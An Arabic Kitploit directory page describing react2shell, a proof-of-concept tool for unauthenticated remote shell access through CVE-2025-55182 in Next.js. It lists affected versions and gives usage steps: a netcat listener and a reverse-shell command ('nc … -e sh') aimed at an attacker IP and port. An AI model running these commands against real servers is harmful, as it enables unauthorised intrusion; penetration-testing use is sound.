Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
react2shell — PoC لـ React2Shell (CVE-2025-55182) | Kitploit
أدوات/GitHubGitHub/xkey8/react2shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubxkey8/react2shell

react2shell

PoC لـ React2Shell (CVE-2025-55182)

عرض المستودع
1منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

React2Shell

إثبات مفهوم لاستغلال ثغرة CVE-2025-55182 لتنفيذ الأوامر عن بُعد دون مصادقة، والمعروفة أيضًا باسم React2Shell. يُستخدم السكربت للحصول على شل على إصدارات Next.js قبل؛

  • 15.0.4 وما دون
  • 15.1.8 وما دون
  • 15.2.5 وما دون
  • 15.3.5 وما دون
  • 15.4.7 وما دون
  • 15.5.6 وما دون
  • 16.0.6 وما دون
  • 14.3.0-canary.77 والإصدارات اللاحقة

تم اختباره فقط على الإصدار 16.0.6.

الاستخدام

root@kitploit:~
$ ./react2shell.py --help
d8888b. d88888b  .d8b.   .o88b. d888888b .d888b. .d8888. db   db d88888b db      db
88  `8D 88'     d8' `8b d8P  Y8 `~~88~~' VP  `8D 88'  YP 88   88 88'     88      88
88oobY' 88ooooo 88ooo88 8P         88       odD' `8bo.   88ooo88 88ooooo 88      88
88`8b   88~~~~~ 88~~~88 8b         88     .88'     `Y8b. 88~~~88 88~~~~~ 88      88
88 `88. 88.     88   88 Y8b  d8    88    j88.    db   8D 88   88 88.     88booo. 88booo.
88   YD Y88888P YP   YP  `Y88P'    YP    888888D `8888Y' YP   YP Y88888P Y88888P Y88888P

usage: react2shell [-h] -u URL -i IP -p PORT

options:
  -h, --help       show this help message and exit
  -u, --url URL    Target URL
  -i, --ip IP      Attacker IP
  -p, --port PORT  Attacker port

تحقق مما إذا كان الهدف عرضة للثغرة؛

root@kitploit:~
./react2shell.py -u http://127.0.0.1:3000

ابدأ مستمعًا؛

root@kitploit:~
$ nc -lvp 4444

ابدأ شل؛

root@kitploit:~
$ ./react2shell.py -u http://127.0.0.1:3000 -i 127.0.0.1 -p 4444
$ ./react2shell.py -u http://127.0.0.1:3000 -c 'nc 127.0.0.1 4444 -e sh' # you can also provide a command


المراجع

  • https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
  • https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • https://nextjs.org/blog/CVE-2025-66478
  • https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
تنزيل الأداة